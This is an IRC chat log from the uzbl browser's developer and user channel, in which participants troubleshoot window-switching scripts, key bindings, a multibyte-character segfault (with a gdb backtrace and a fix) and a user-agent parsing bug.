06:16 < Morasique> pid is the second argument, wid is the third
06:17 < NAIVEMONARCH> it's so I can feed the wid into xwininfo to get the dimensions/position to give to dmenu
06:18 < Morasique> i imagine. i don't have xwininfo
06:18 < NAIVEMONARCH> its in xorg-utils
06:18 < Morasique> it takes -id, try that and see if the dimensions are in the output
06:19 < NAIVEMONARCH> they are, I'm just not sure how to get $3 from uzbl, and put it into a seperate script
06:20 < NAIVEMONARCH> I'm not so versed when it comes to scripting/coding
06:21 < Morasique> in uzbl's config, you're going to have a bind line, like "bind X = spawn myscript.sh". in myscript.sh, $3 will be the wid, so running xwininfo -id $3 will work
06:22 < Morasique> more importantly, are you sure dmenu's can be sized and positioned? i've never seen that before, usually they're along the top/bottom of the screen, full-width
06:24 < NAIVEMONARCH> that did the trick
06:24 < NAIVEMONARCH> Morasique: yeah, I did it manually to see how it would look
06:25 < Morasique> ok
06:25 < scp1> NAIVEMONARCH: how? :)
06:25 < NAIVEMONARCH> scp1: by specifying -x -y and -w
06:25 < scp1> ah, nice
06:25 < Morasique> is that only with the vert patch?
06:26 < Morasique> mine doesn't seem to have that
06:32 < Morasique> if you ever need it, here's how to get misc. information about an X window in a python script, instead of parsing xprop/xwininfo: http://pastebin.com/mae736dd
06:36 < NAIVEMONARCH> Thanks, but I already parsed it with grep/awk
06:45 < NAIVEMONARCH> fuck yes
06:45 < NAIVEMONARCH> it works
06:45 < NAIVEMONARCH> thanks for the help morasique
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09:09 < Tjh_> hello,
09:09 < Tjh_> i jst started using this wonderous browser and have a question..
09:10 < Tjh_> 1. what is the code for "Left" or "right" keys to use in the config file... i mean for configuring shortcutss.... 2 whats the easiest way to get some sort of a dmenu thing with all the running instances of uzbl in it to choose froom?
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09:12 < Tjh_> helo anyone there?
09:13 < MarSoft_> Tjh_: for (2), use something like
09:13 < MarSoft_> ps x | grep uzbl | dmenu | ...
09:13 < Tjh_> i tried that
09:13 < MarSoft_> (depending on your windowmanager, it maybe wmctrl or something else
09:13 < Dieterbe> morning gentlemen
09:14 < Morasique> yeah, the hard part is focusing one, that's wm-dependent
09:14 < Tjh_> o wait ps x grep does do smthg
09:14 < Tjh_> huh
09:14 < Tjh_> and umm how do i get the vertical dmenu?
09:14 < Morasique> pgrep uzbl | dmenu will give you the menu, it's focusing by pid that i don't know how to do
09:14 < Morasique> http://evaryont.me/dmenu-vertical-history.patch
09:15 < Tjh_> Morasique: o ok
09:15 < Morasique> Tjh_: what wm do you use?
09:15 < Tjh_> well the thing is pgrep uzbl gives me an odd url , like 5 pages ago..
09:15 < Tjh_> dwm
09:15 < Zaba_> pgrep uzbl gives you a pid
09:16 < Dieterbe> xdotool search --onlyvisible --title 'uzbl' will give you the xorg window id of the focused uzbl instance
09:16 < Tjh_> o ok
09:16 < Dieterbe> Morasique: use wmctrl, then it works for every WM that implements ewmh (that are a lot of them)
09:17 < Morasique> he's looking to focus an instance by menu though
09:17 < Tjh_> xdotool?
09:17 < Morasique> oh, apparently i have wmctrl. i've never used it before
09:17 < Morasique> wow, cool. i wrote basically this exact tool in python a while ago
09:17 < Tjh_> xdotool not found!
09:17 < Morasique> Tjh_: you probably don't want the wid of the focused instance anyway, don't worry about it
09:18 < Morasique> Dieterbe: is there an easy way to get all the wids of active uzbl processes?
09:18 < Morasique> is just pulling from the fifo path the easiest way?
09:19 < Zaba_> hmhmhm
09:19 < Zaba_> I've got quite some config changes to merge.
09:19 < Tjh_> well the issue is tho, i wann get the current url of every uzbl instance pgrep does a BAD job of this
09:19 < Morasique> Tjh_: oh. yeah, that's harder. i don't even know how to get that externally
09:19 < Zaba_> pgrep gives you _pids_, it doesn't give a crap about your urls
09:19 < MarSoft_> Tjh_: why not to request that from sockets ?
09:19 < Tjh_> Morasique: how about internally?
09:20 < Tjh_> sure...
09:20 < MarSoft_> *that urls
09:20 < Tjh_> jst tell me how
09:20 < Morasique> MarSoft_: i was just trying to find the doc on that, do you know the command?
09:20 < Zaba_> does cookies.sh work as well as cookies.py?
09:21 < Dieterbe> Morasique: xdotool search --title 'uzbl' ?
09:21 < MarSoft_> Morasique: hm... i don't know.
09:21 < MarSoft_> although i think that command must exist..
09:21 < Morasique> is there a list of valid socket commands somewhere?
09:21 < Morasique> i can't find it, i'm going through uzbl.c atm
09:21 < Dieterbe> yes in the readme and in the faq
09:22 < Dieterbe> Zaba_: no
09:22 < Zaba_> can I have bind :_ = chain '%s' and bind :foo_ = somethingelse and be able to use both bindings?
09:22 < Dieterbe> Zaba_: no
09:22 < Zaba_> Dieterbe, so I should consider cookies.py if I want things to work for real?
09:22 < Dieterbe> yes
09:23 < Zaba_> okay.
09:23 < Tjh_> Dieterbe: where do i put in xdotool?
09:23 < Dieterbe> btw i think we should be able to "expose" the current uri as an xorg window attribute.  but i haven't attempted to do that yet. as an alternative you could query for it through the socket, but you won't get a response from the socket yet. uzbl echo's it to stdout. we still need to fix that
09:24 < Dieterbe> Tjh_: "where do i put in" ? question not understood
09:24 < Morasique> Dieterbe: ah, i was just failing at that :)
09:24 < Tjh_> umm never mind lol
09:24 < Zaba_> Dieterbe, responding to the socket would be nice indeed
09:24 < Morasique> i was trying: uzblctrl -s /tmp/uzbl_socket_35651587 -c "get uri"
09:24 < Dieterbe> Morasique: yeah, the output doesn't come back through the socket yet
09:24 < Dieterbe> patch welcome :)
09:24 < Tjh_> Dieterbe: lol fgoot to do pacman xdotool lol
09:25 < Morasique> Tjh_: so in theory, at some point you'll be able to look through the sockets in your socket dir, send "get uri" to each to find out their uri, display them in a menu and focus them with wmctrl
09:25 < Morasique> but the socket part doesn't work yet
09:25 < Tjh_> heh
09:25 < Tjh_> hmm
09:26 < Tjh_> now to find some ingeniusly stupid hack for it..
09:26 < Tjh_> by which i mean jst plaini stupid hack
09:28 < Dieterbe> Tjh_: or just ipmelement replies through socket ;)
09:28 < Morasique> ah, i see. all the action functions printf instead of returning things
09:28 < Tjh_> which in my case wud involve dirty hacks... lol
09:29 < Morasique> i don't know enough C to know if there's an easy way to redirect printf temporarily, or if all those are going to have to change
09:29 < Morasique> i'll mess with it tomorrow if nobody does it before then, i should probably go to sleep soon
09:29 < Tjh_> is there maybe a way to do this with my wm?
09:30 < Morasique> Tjh_: i don't think there's any way to find out what page uzbl is on from outside the app
09:30 < Morasique> you might be able to parse the titlebar i guess
09:30 < Tjh_> hmm yeas perhps
09:31 < Tjh_> Morasique: actually i jst need to display the title bar in dmenu...that shd be fine
09:32 < Tjh_> i dont know a lot of X commands? whats the easiest way to get title's of windows?
09:32 < Dieterbe> Morasique> Tjh_: i don't think there's any way to find out what page uzbl is on from outside the app <-- like i said, xorg window attributes could be an option
09:32 < Morasique> wmctrl -l | grep Uzbl
09:32 < Tjh_> o ok
09:32 < Morasique> Dieterbe: well, i mean this very second. he seems pretty concerned with getting this implemented now
09:33 < Tjh_> o yea wmctrl does not work :(
09:33 < Morasique> er. it doesn't?
09:33 < Dieterbe> just read the manpages for tools like wmctrl, xdotool, xwininfo etc.  you'll get a lot of ideas and insight but just checking out what these tools can do
09:33 < Tjh_> no
09:33 < Tjh_> its strange
09:33 < Morasique> does dwm not support it?
09:33 < Tjh_> o ok
09:33 < Tjh_> apparently not ..
09:34 < Morasique> i've got nothing then; i don't know enough about dwm, besides that it "has no Lua integration, no 9P support, no shell-based configuration, no remote control, and comes without any additional tools"
09:34 < Morasique> which isn't good in this case
09:34 < Dieterbe> dwm probably does not implement ewmh
09:34 < Dieterbe> and wmctrl uses ewmh
09:34 < Morasique> sad pandas
09:35 < Tjh_> hmmm so i guess go inside dwm then
09:35 < Tjh_> yeap..
09:35 < Dieterbe> Tjh_: you could try to look for tools besides wmctrl that use direct x commands instead of ewmh
09:36 < Tjh_> o ok
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09:41 < Tjh_> HAHAH
09:41 < Tjh_> suckless has a tool called lsw
09:41 < Tjh_> LOL
09:41 < Tjh_> o wow
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09:42 < Dieterbe> @peak
09:42 < dev_null> Dieterbe: obama set a record of 83 people in #uzbl on June 09, 2009 at 03:41 PM CET. You'll need 12 more people to break the peak.
09:42 < Dieterbe> lol
09:42 < Dieterbe> obama is da man!
09:43 < Tjh_> obama?
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09:44 < Morasique> Dieterbe, Tjh_: he joined and immediately quit again about 15 hours ago :)
09:44 < Morasique> i suspect Dieterbe bribed him just to break the record
09:45 < Dieterbe> :)
09:47 < Tjh_> o ok
09:47 < Tjh_> now last question... what is the key code for non letter keys?
09:47 < Tjh_> like tab, enter, etc
09:47 < Tjh_> like how do i bind left to smthg in config file?
09:48 < Dieterbe> i don't know dusanx and DuClare are the keyboard interface wizzards :P
09:48 < Morasique> just from glancing at the binding code i don't think you can, it uses normal typed characters
09:48 < Tjh_> o ok
09:48 < Morasique> but there might be some way, you'll have to wait for them
09:48 < Tjh_> kk
09:51 < Zaba_> I sort of noticed the screenshot on uzbl.org shows youtube playing a video
10:05 < Tjh_> a1kewl... nw i got the id of the window i wanna switch to...
10:05 < Dieterbe> Zaba_: ..yes.. and?
10:06 < Tjh_> now ... how to switch to it..
10:06 < Zaba_> I wonder where one'd get a flash plugin that works with it from
10:06 < Tjh_> can someone tell me where to find the uzbctrl commands?
10:06 < Dieterbe> Tjh_: the Readme
10:07 < Dieterbe> Tjh_: and/or uzbctrl -h
10:07 < Dieterbe> Tjh_: or --help 
10:07 < Tjh_> kk
10:07 < Tjh_> uzbctrl -h jst tell me -c <command>
10:07 < Dieterbe> Zaba_: just install it through your package manager or whatever. it should work normally
10:07 < Dieterbe> Tjh_: those commands are in the readme
10:08 < Zaba_> Dieterbe, my package manager's only got a plugin for netscape
10:08 < Tjh_> o ok
10:09 < Dieterbe> Zaba_: should work
10:11 < Tjh_> hmm like i thot... i gotta find a way to do this within the window manager, which may not be possible
10:12 < Dieterbe> how do you mean "within" the WM. a wm is just a tool that sends some commands to get information about windows and to tell xorg to change position etc of windows
10:12 < Dieterbe> you can do the same with scripts. in fact, there are some WM's that are nothing more then scripts
10:14 < Tjh_> hmm o i see
10:14 < Tjh_> i gotta find the command to bring up that window i guess then
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10:27 < rob|> Zaba_: webkit uses the very same plugin api as firefox does, so all ff plugins should work with uzbl, too
10:27 < Zaba_> I see
10:27 < Zaba_> apparently I got mine (manually) installed somewhere webkit doesn't look
10:36 < KlavKalashj> rob|: that sounds amazingly interesting
10:36 < KlavKalashj> rob|: so it's possible to get adblock plus/flashblock?
10:37 < ankan> Extension != Plugin I guess...
10:37 < ankan> Plugin as in flash and stuff, right?
10:37 < KlavKalashj> ah, damn :P
10:37 < KlavKalashj> well, flash works perfectly
10:37 < KlavKalashj> and all the flash ads :P
10:38 < rob|> KlavKalashj/ankan: exactly, talking about the plugin api. extensions are ff specific
10:38 < ankan> KlavKalashj: That's what you have privoxy for. No ads!
10:39 < KlavKalashj> ankan: will look into it!
10:43 < Dieterbe> hey rob| :)
10:53 < rob|> hey dieter
10:54 < Dieterbe> how's it going?
10:54 < rob|> quite well, my gf in on hollidays so i don't have too much time for hacking ;)
10:56 < Dieterbe> now you have to make your own food and wash your own clothes? :P
10:56 < rob|> yeah, exactly
10:56 < Dieterbe> hehe
10:57 < Dieterbe> you should enjoy the time alone , hang out with friends and such ;)
10:57 < rob|> fast food is a nice alternative, though it gets scuzzy after a few days ;)
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11:04 < amade> What is modkey used for?
11:07 < rob|> issuing uzbl commands while in insert mode
11:08 < amade> oh, nice
11:08 < Dieterbe> i'm not sure if it still works. DuClare usually recommends things like: 'bind ^R = foo'
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11:12 < rob|> i'd vote for rewriting the bindings to use XStringToKeysym(). that way we could easily use all symbolic key names defined in /usr/include/X11/keysymdef.h
11:13 < rob|> i.e. multimedia keys, and all sorts of non-typeable keys
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11:32 < amade> Are there any commands for selecting links while in normal mode?
11:33 < Dieterbe> rob|: will that make the code more complicated or simple?
11:37 < rob|> well, i do use the same method for dzen and there it looks like:
11:38 < rob|> 	if((!strncmp(evname, "key_", 4))
11:38 < rob|> 			&& ((ks = XStringToKeysym(evname+4)) != NoSymbol)) {
11:38 < rob|> 		return ks+keymarker;
11:38 < rob|> 	}
11:38 < rob|> but we'd need to do a bit more as we also support multichar bindings
11:39 < rob|> i.e. wrapping such keys in <> or something along that way
11:39 < rob|> bind <space> = foo
11:39 < Dieterbe> variable expansion comes to mind :P
11:40 < Dieterbe> hmm no, never mind that
11:42 < rob|> oh btw, someone suggested to use a XML like format for outputting uzbl state. i think this is not needed as you can define your own format easiyl with 'print' and the var expansion
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11:42 < Dieterbe> yeah
11:43 < Dieterbe> and awk ftw
11:46 < rob|> sed ftw! most things are solvable without the need of loading a full blown awk interpreter..
11:47 < rob|> especially seeing things like "foo | awk '{print $2}'" makes me go crazy ;)
11:49 < Phillemann> How would you do it?
11:50 < rob|> cut, sed, shell var expansion, ...
11:50 < rob|> need to run, bbl.
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11:57 < holizz> Upgrading to Awesome 3.3 was a mistake, it seems.
11:58 < MarSoft_> holizz: it is hardmasked in Gentoo because of issues with libxcb.
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12:07 < holizz> I see. What version is it hardmasked at?
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12:08 < holizz> I just reverted to 3.2 and my hyphen and down buttons still aren't even keypresses.
12:09 < holizz> I'm sure I was on 3.2 before.
12:09 < MarSoft_> holizz: awesome >=3.3 is hardmasked.
12:09 < MarSoft_> and also libxcb 1.3
12:10 < MarSoft_> * xcbutil >= 0.3.4
12:15 < holizz> Thanks.
12:26 < holizz> OMG WTF? Compiling my own 3.2 still won't fix the problem.
12:28 < MarSoft_> holizz: did you downgrade xcbutil  ?
12:28 < MarSoft_> to <0.3.4
12:29 < holizz> The last time that package was upgraded was over 2 months ago, so while it is 0.3.4 it shouldn't be that.
12:44 < holizz> Weird that I needed to downgrade xcb-util, despite the fact that it was fine for months.
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14:08 < piroko> MarSoft_: Isn't gentoo fun!? :D
14:08 < MarSoft_> piroko: sometimes :)
14:09 < ds187> when you put it on cd and play freesbee with it, it could be fun ;-)
14:14 < MarSoft_> ds187: no. you cannot put gentoo on cd.. :)
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14:17 < mxey> Gentoo is fun in a way that you can laugh about it ;)
14:18 < MarSoft_> mxey, you can laugh about anything.
14:19 < mxey> Well, yeah, I am stilling an operating system that can be taken seriously.
14:22 < Zaba> gentoo is fun in the same sense as a man in vacuum is fun.  You don't know how the hell he got there, you presume it was his own fault, you can't help but laugh.
14:24 < Dieterbe> :)
14:29 < piroko> haha
14:29 < piroko> Dieterbe: Oh hey. Your browser rocks
14:29 < Toy-Food> Gentoo, watching text scroll by the screen for hours on end is fun for the whole family!
14:30 < Zaba> Toy-Food, same applies to irc just as well *shrug*
14:30 < piroko> revdep-rebuild ftw!
14:30 < Zaba> Toy-Food, that's not the point, really
14:30 < Zaba> piroko, can't remember when last used it
14:30  * Toy-Food does like Gentoo :P
14:30 < piroko> Zaba: http://pohl.ececs.uc.edu/~jeremy/secret/3/holyshit.txt
14:32 < Zaba> anyway, yes revdep-rebuild can spit lots of crap on you if you didn't update your system for some half a year
14:32 < Zaba> but if you can't use a rolling-release system, you've got other problems :P
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14:53 < ds187> MarSoft_: what about the gentoo install cd image? where would i put it when not on a cd? :-)
14:54 < MarSoft_> ds187: yes, but install-cd is not a gentoo. And you can put it onto usb flash or memory card.
14:55 < ds187> usbflash and memorycard is too 2.0 for me :-)
14:56 < Dieterbe> piroko: thanks
14:56 < Dieterbe> OT kthxybe
15:00 < Zaba> ds187, what about 12" laserdiscs?
15:02 < ds187> Zaba: that would be nice. i think they would have even better flight-preferences than "normal" cd's :-)
15:07 < rob|> we really need a study which bit patterns on CD have the best flight qualities ;)
15:10 < ds187> hehe......"my old suse 5.6 flew about 35metres, where my debian 2.0 just reached the 20metres mark.....that could possibli explained with the different ideologies behind both projects" :-)
15:11 < Zaba> laserdiscs indeed would do better
15:18 < scp1> I have some problems with some special chars in the status bar; I can type 'åäö#', but when I try to erase one of them, uzbl segfaults. [1]    7954 segmentation fault  uzbl -v
15:19 < rob|> yeah, known bug :(
15:19 < scp1> Ah. Any solution?
15:19 < MarSoft_> scp1: use escape to delete these characters.
15:19 < rob|> not that i'm aware of, that bit of code needs more loving..
15:19 < uranther> it's hard for me to reproduce so i haven't messed with it
15:19 < uranther> the russian dude was gonna work on it
15:19 < scp1> MarSoft_: thanks
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15:20 < uranther> i spose i could change my locale though...
15:20 < MarSoft_> scp1: same bug with any multibyte character, and with russian in unicode.
15:20 < scp1> I see
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15:25 < Dieterbe> lol "the russion dude"
15:25 < Dieterbe> uranther: who do you mean with "the russion dude"
15:25 < uranther> lol i forget his name
15:26 < uranther> but he was having troubles entering russian characters
15:26 < uranther> trying to reproduce bug...
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15:32  * uranther switches to russian
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15:38 < uranther> err i can't figure out how to enter in symbols
15:38 < uranther> :|
15:38 < scp1> uranther: try with a '#¤'...
15:39 < uranther> what is that symbol thing
15:39 < MarSoft_> uranther: probably you need to change keyboard layout, using either kxkb (on KDE) or xorg.conf or something else depending on your window manager
15:39 < scp1> # <-- number thing
15:39 < scp1> :P
15:39 < scp1> uranther: http://pastie.org/507186
15:40 < MarSoft_> scp1: works for me with '#' ..
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15:41 < uranther> lole nice pastie
15:41 < uranther> i was referring to this though: ¤
15:41 < Zaba_> a black box?
15:42 < MarSoft_> problem is that you cannot copy-paste symbol to uzbl...
15:42 < uranther> it shows up as a star type thing
15:42 < scp1> uranther: http://pastie.org/507189 :P
15:42 < MarSoft_> for me, it ¤ looks like a some pseudographic
15:42 < Zaba_> hm, wait
15:42 < uranther> i tried Ctrl+ any letter and kept getting boxes with the unicode letters and numbers in it
15:42 < Zaba_> U+25A0 BLACK SQUARE
15:42 < uranther> it's a GTK thing, but it didn't crash
15:42 < Zaba_> that's what it is
15:42 < rob|> just c&p some chars from here: http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-demo.txt
15:43 < uranther> oh god everything is in russian
15:44 < uranther> error on run_command: Произошёл сбой при выполнении процесса-потомка "$XDG_DATA_HOME/uzbl/scripts/cookies.py" (No such file or directory)
15:44 < uranther> interesting
15:44 < uranther> i bet that doesn't paste right?
15:44 < uranther> it gave me errors in russian
15:44 < Zaba_> it did
15:45 < Zaba_> "there was an error in the process of executing a child process "$XDG_DATA_HOME/uzbl/scripts/cookies.py""
15:45 < uranther> ok, i can't get the Ctrl+space SCIM to come up in uzbl
15:45 < uranther> is that a problem? it obviously catches these keybinds
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15:53 < uranther> rob| that doesn't render right at all in uzbl
15:55 < MarSoft_> maybe it helps: in gdb -
15:55 < MarSoft_> Program received signal SIGSEGV, Segmentation fault.
15:55 < MarSoft_> [Switching to Thread 0xb4f97700 (LWP 22924)]
15:55 < MarSoft_> 0xb6cd6b48 in g_markup_escape_text () from /usr/lib/libglib-2.0.so.0
15:56 < rob|> uranther: set default_encoding = utf-8
15:56 < uranther> can you paste the `bt' output for me?
15:56 < uranther> rob| oh, of course :P
15:56 < MarSoft_> #0  0xb6bf5b48 in g_markup_escape_text () from /usr/lib/libglib-2.0.so.0
15:56 < MarSoft_> #1  0xb6bf6f4f in g_markup_vprintf_escaped () from /usr/lib/libglib-2.0.so.0
15:56 < MarSoft_> #2  0xb6bf7068 in g_markup_printf_escaped () from /usr/lib/libglib-2.0.so.0
15:56 < MarSoft_> #3  0x0804d5d4 in expand_template (template=0x87ba658 "<span font_family=\"monospace\"><span background=\
15:56 < MarSoft_> "khaki\" foreground=\"black\">MODE</span> [<span weight=\"bold\" foreground=\"red\">KEYCMD</span>] <span
15:56 < MarSoft_> foreground=\"#606060\"> LOAD_PROGRESSBAR </span><span for"..., escape_markup=1) at uzbl.c:1029
15:56 < MarSoft_> #4  0x0804f94d in update_title () at uzbl.c:1861
15:56 < MarSoft_> #5  0x0804d115 in keycmd_bs (page=0x0, argv=0x0) at uzbl.c:877
15:56 < MarSoft_> #6  0x0804fbf1 in key_press_cb (window=0x8764838, event=0x8074548) at uzbl.c:1925
15:56 < uranther> well i didn't mean here... lol
15:56 < MarSoft_> #7  0xb711e6a6 in ?? () from /usr/lib/libgtk-x11-2.0.so.0
15:57 < MarSoft_> #8  0x08764838 in ?? ()
15:57 < MarSoft_> #9  0x08074548 in ?? ()
15:57 < MarSoft_> #10 0x00000000 in ?? ()
15:57 < MarSoft_> sorry.
15:57 < uranther> it's alright
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16:02 < uranther> MarSoft_, how are you able to get unicode characters in the KEYCMD? my SCIM stuff works on everything but uzbl, it seems
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16:05 < MarSoft_> uranther: i use X keyboard layouts.
16:05 < MarSoft_> uranther: what windowmanager do you use?
16:06 < uranther> er whatever XFCE uses
16:06 < uranther> i'm in xubuntu
16:06 < MarSoft_> ok..
16:06 < Dieterbe> xfwm it's called
16:06 < MarSoft_> i'll look..
16:07 < MarSoft_> uranther: for example: http://ubuntu.sabza.org/2006/10/13/xubuntu-easily-switch-keyboard-layout/
16:07 < uranther> lemme try
16:08 < MarSoft_> hm... or just
16:08 < MarSoft_> setxkbmap -option grp:switch,grp:alts_toggle us,ru
16:08 < MarSoft_> and toggle with alt
16:08 < MarSoft_> *hold alt to enter alternate chars
16:09 < MarSoft_> right alt
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16:10 < scp1> ♥
16:12 < uranther> ok i got it to crash yay :D
16:12 < scp1> \o/
16:12 < uranther> so only when you press backspace right?
16:12 < scp1> yep
16:12 < uranther> k.
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16:23 < uranther> um, sweet? GLib's XML parser is not UTF8 safe it looks
16:24 < Dieterbe> glib definitely has some functions to work with utf8 so maybe we're just doing it wrong
16:24 < uranther> these functions use gchar *
16:25 < uranther> http://library.gnome.org/devel/glib/stable/glib-Simple-XML-Subset-Parser.html
16:25 < uranther> i guess it uses UTF8 for the XML, but not other things
16:25 < uranther> i'm confused
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16:37 < scp1> maybe you can try this; echo set show_status = 1|LC_TYPE=sv_SE.UTF-8 uzbl -c /dev/null
16:42 < uranther> haha well now i have it backspacing the whole string
16:43 < uranther> without crashing at least
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17:44 < uranther> ok i fixed the bug
17:44 < uranther> :>
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17:47 < uranther> http://github.com/uranther/uzbl/commit/c9290bc5a97062e2c429124bef34b9449c0f071c
17:48 < Deepspawn> yay
17:50 < uranther> \o/
18:00 < Dieterbe> hooray hooray
18:00 < Dieterbe> but please, stop doing style changes in combination with unrelated functional changes
18:00 < Dieterbe> because now i can't merge in your fix unless i merge the style changes too :/ unless i undo the style changes myself again
18:01 < Dieterbe> hypothetically speaking that is, i don't know what our style guidelines is for these things.
18:01 < Dieterbe> i'll probably merge this in
18:01 < Dieterbe> but now: driving home :)
18:02 < Dieterbe> see you guys soon
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18:22 < tha> how do i use my keyboard ctrl+arrow-left/right; page left/right (on thinkpad keyboard) keys to make uzbl to back/forward?
18:50 < holizz> I just took a look in the source, and I don't think it's possible.
18:51 < holizz> tha: ^^
18:58 < uranther> Dieterbe, oh sorry bout that :/
19:01 < Tjh_> hmm how do i open links in a new page, using the keyboard i mean
19:02 < MarSoft_> Tjh_: spawn uzbl -u %s
19:02 < MarSoft_> bind    g _       = spawn uzbl -u %s
19:02 < Tjh_> MarSoft_: yes but i wanna do smthg like follow_Numbers.sh
19:02 < Tjh_> i said links not new urls
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19:03 < MarSoft_> oops... i don't know.
19:03 < Tjh_> I tried changin follownumber.sh, but it jst stopped working the moment i changed anything
19:04 < uranther> i think sscj might be working on that
19:04 < uranther> we had a discussion about it the other day
19:05 < Tjh_> o ok
19:05 < Tjh_> but why wud it stop working, i mean the numbers dont even display anymore and i jst chagned the VERY last line
19:05 < uranther> what did you change
19:06 < Tjh_> the very last line
19:07 < Tjh_> hmm is there a javascript for right click?
19:07 < uranther> you mean follow_Numbers.js ?
19:07 < Tjh_> like item.rightclick???
19:07 < Tjh_> yeap
19:08 < Tjh_> o never mind i got why it did that
19:08 < Tjh_> now is there a item.rightclickk?
19:08 < Tjh_> cuz it seems to use item.click() to follow links
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19:10 < bct> Tjh_, i don't think it's possible to open a new window from javascript right now
19:10 < Tjh_> thats not tru, pop ups do it all the time no?
19:11 < bct> yeah but window.open() is disabled in uzbl.c right now
19:11 < uranther> oh i was about to suggest window.open() :P why is that disabled?
19:12 < bct> i guess just to prevent popups until we have some kind of policy support
19:12 < bct> there are some functions that are supposed to be called before the window opens to decide whether the window actually gets opened or not
19:13 < bct> but webkit-gtk does things kind of weird (it only tells you what URL you're supposed to go to *after* the window is supposed to be open)
19:13 < uranther> where's the code that prevents popups? i can't find it
19:13 < Tjh_> hmm
19:13 < Tjh_> so no way of doing htat?
19:14 < Tjh_> thats kind of an odd thing, i like having mutliple pages open and hte using the mouse for opening new pages
19:14 < Dieterbe> re
19:14 < MarSoft_> i think that links in new windows could be done with hook subsystem: something like
19:14 < MarSoft_> set link_middleclick = ...
19:14 < MarSoft_> or something like this
19:14 < Tjh_> o in the javascript i mean
19:15 < bct> oh that's right, i remember now
19:15 < Dieterbe> anydot: welcome back :P
19:15 < bct> window.open isn't disabled
19:15 < Tjh_> o kewl
19:15 < bct> but since it doesn't get passed the url it's supposed to open, it opens uzbl.state.selected_url
19:16 < bct> so it will open whatever URL is being hovered over
19:16 < Tjh_> hmm
19:16 < Tjh_> mnope it din work
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19:16 < bct> the interesting functions are create_web_view_cb and new_window_cb
19:16 < bct> i don't remember which does what
19:16 < uranther> there is modkey.. but i don't think that's going to do what you want
19:18 < Tjh_> umm window.open(item.href) does nthing...
19:18 < bct> are you hovering over a link?
19:19 < Tjh_> o no im not
19:19 < Tjh_> im using the F function to select a link
19:19 < Tjh_> a la follow_NUmbers.js
19:19 < bct> unfortunately i think that's the only way to use window.open right now
19:19 < uranther> try fL?
19:19 < bct> maybe there's some way to hover a link from javascript?
19:20 < Tjh_> why cant i jst pass window.open the uri?
19:20 < Tjh_> jst like with window.location?
19:20 < bct> because window.open calls create_web_view_cb, which has this line:
19:21 < bct>         new_window_load_uri(uzbl.state.selected_url);
19:21 < uranther> so should new_window_load_uri() have a function parameter to open in a new window?
19:21 < bct> uzbl uses selected_url (the hovered url) because webkit doesn't give create_web_view_cb the actual URL you want to open
19:22 < bct> new_window_load_uri already opens in a new window
19:23 < bct> the problem is figuring out how to get webkit to give you the URL you actually want at the time that you open the window
19:23 < bct> (or alternatively, passing the new uzbl instance the URL when webkit actually gives it to us)
19:23 < bct> now that i think of it that might be the best solution...
19:23 < tha> holizz: its not possible? at all? why is that?
19:24 < Tjh_> bct: yes but a new instance ONLY opens if i am hovering over a valid link, which 9time ouot of 10 im not gonna be doing
19:24 < bct> Tjh_, i know. i want the same thing as you, i just don't think there's a way to get it right now
19:24 < Tjh_> webkit is VERY strange
19:25 < bct> agreed :/
19:26 < Tjh_> which is prly why none of the webkit browswer are even near full usability, webkit has very strange lacks
19:26 < uranther> webkit-gtk isn't quite done yet
19:26 < bct> yeah, i think this specific thing is more of a webkit-gtk problem
19:27 < bct> if anyone is interested in debugging more there's a relevant page on webkit's bugzilla
19:28 < uranther> link?
19:28 < bct> this comment might be particularly helpful: https://bugs.webkit.org/show_bug.cgi?id=19130#c29
19:31 < uranther> so i suppose that fix is implemented in (one of) the newest versions of webkitgtk?'
19:32 < bct> no, that bug was "window.open isn't implemented at all", which is fixed
19:32 < bct> it's just helpful for describing how the signal flow goes
19:33 < bct> our problem isn't really a bug on their side
19:34 < bct> (unless we can call a weird API a bug :P)
19:35 < uranther> now i'm confused :P
19:36 < Tjh_> i shd be able to make that little right click menu pop up no!
19:40 < sscj> window.open isn't disabled, but it only works if your mouse hovers over a link
19:41 < bct> sscj, can link_hover_cb be triggered from js somehow?
19:42 < sscj> afaik, no
19:42 < sscj> what we need is a policy handler
19:44 < bct> what do you mean by that?
19:45 < bct> do we need it to make this work at all, or just to make it work without annoying popups?
19:46 < sscj> work without annoying popups
19:46 < bct> oh, so is there a simple change to uzbl.c that would allow all popups?
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19:48 < sscj> I have a vague recollection that it used to work at some point
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19:50 < bct> hmm, good to know.
19:50 < bct> if i get a chance i'll dig into this more tonight
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19:53 < gentooer> anyone know why this isn't working?
19:53 < gentooer> set useragent           = Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b4) Gecko/20090528 Gentoo Firefox/3.5b4
19:53 < gentooer> it keeps getting cut off after the second period in 1.9.1b4
19:53 < gentooer> i tried putting it in quotes, but that didn't help
19:53 < Tjh_> too long?
19:53 < uranther> that's what i was thinking
19:54 < uranther> i seem to remember a 256 char limit on commands but maybe i made that up
19:54 < gentooer> no, because if i remove the 1.9.1 it includes the rest up to 3.5b4 where it cuts off after that period
19:55 < uranther> do you get any errors?
19:56 < gentooer> nope
19:57 < gentooer> this also gets cut off at the same point:
19:57 < gentooer> set useragent           = Mozilla/5.0 (rv:1.9.1b4)
19:57 < gentooer> so it can't be the length
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19:58 < uranther> is it the : ?
19:58 < sscj> my guess it's the way webkit parses the string
19:59 < gentooer> nope, just tried removing the "/" and the ":"
19:59 < gentooer> i tried it in midori and it works fine there..
20:02 < gentooer> weird.. useragent=1.9.1 works but useragent=1.9.1b4 gets cut off :-/
20:04 < gentooer> ok so it's the "1b".   useragent=1 works, useragent=b works, but useragent=1b doesn't work
20:04 < gentooer> guess i'll file a bug
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20:12 < Tjh_> heh thats hilarious, how cud that possible happen?
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20:12 < gentooer> yeah it's very strange. any number directly followed by the letter "b" (or "B") will cause it to cut off
20:13 < sscj> looking at the code, looks like expand_template is the culprit
20:13 < sscj> I just assumed it sent the useragent string off to webkit, but there's some parsing going on
20:14 < uranther> er what is SYM_KERNREL lol
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20:15 < uranther> i guess kernel relative version or something
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20:17 < github> uzbl: Jacob Todd experimental SHA1-34a0ec4
20:17 < github> add '-lgthread-2.0' to CFLAGS because compilation fails for some people
20:17 < github> http://bit.ly/3Z7ym
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20:24 < dxdx> anybody here? i'm getting error #6411 on gmail
20:25 < Tjh_> gentooer: jst the letter b? how about c or f?
20:25 < Dieterbe> dxdx: yep
20:25 < dxdx> Dieterbe: does that happen to everyone or just me?
20:26 < Dieterbe> there are some known problems with gmail
20:27 < dxdx> oh, nice, "known" sounds better than "just me"
20:27 < dxdx> i guess i'll have to ui=1&labs=0
